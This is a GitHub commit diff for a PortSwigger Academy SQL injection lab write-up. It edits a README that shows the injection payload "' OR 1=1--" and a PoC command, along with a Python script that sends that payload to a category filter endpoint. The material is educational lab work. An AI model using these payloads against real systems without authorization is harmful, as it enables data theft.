Skip to content

Commit 5cfa79c

Browse files
committed
edit code and description
1 parent bde2d1f commit 5cfa79c

File tree

2 files changed

+13
-6
lines changed

2 files changed

+13
-6
lines changed

port_swigger_academy/sqli/sqli_lab_01/README.md

Lines changed: 10 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -36,12 +36,19 @@ This results in the SQL query:
3636

3737
The modified query will return all items where either the category is Gifts, or 1 is equal to 1. Since `1=1` is always true, the query will return all items.
3838

39+
## Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
40+
This lab contains an SQL injection vulnerability in the product category filter. When the user selects a category, the application carries out an SQL query like the following:
41+
42+
`SELECT * FROM products WHERE category = 'Gifts' AND released = 1`
43+
44+
To solve the lab, perform an SQL injection attack that causes the application to display details of all products in any category, both released and unreleased.
45+
3946
## PoC
4047
```bash
41-
$ python3 sqli_lab_01.py https://ac621f871fxxxxxxx.web-security-academy.net "' OR 1=1--"
48+
$ python3 sqli_lab_01.py https://acb61f551f903c83c0e0809a0059009a.web-security-academy.net "' OR 1=1--"
4249

43-
>> Port Swigger - SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
44-
>> by twseptian
50+
>> SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
51+
>> by Port Swigger Academy
4552

4653
[✓] SQL Injection successful!
4754
```

port_swigger_academy/sqli/sqli_lab_01/sqli_lab_01.py

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -21,8 +21,8 @@ def __init__ (self):
2121
self.end = '\033[0m'
2222

2323
def header(self):
24-
print('\n >> Port Swigger - SQL injection vulnerability in WHERE clause allowing retrieval of hidden data')
25-
print(' >> by twseptian\n')
24+
print('\n >> SQL injection vulnerability in WHERE clause allowing retrieval of hidden data')
25+
print(' >> by Port Swigger Academy\n')
2626

2727
def info (self, message):
2828
print(f"[{self.white}*{self.end}] {message}")
@@ -46,7 +46,7 @@ def success (self, message):
4646
def exploit_sqli(url, payload):
4747
uri = "/filter?category="
4848
r = requests.get(url+uri+payload, verify=False,proxies=proxies)
49-
if "Cheshire Cat Grin" in r.text:
49+
if "Robot Home Security Buddy" in r.text:
5050
return True
5151
else:
5252
return False

0 commit comments

Comments
 (0)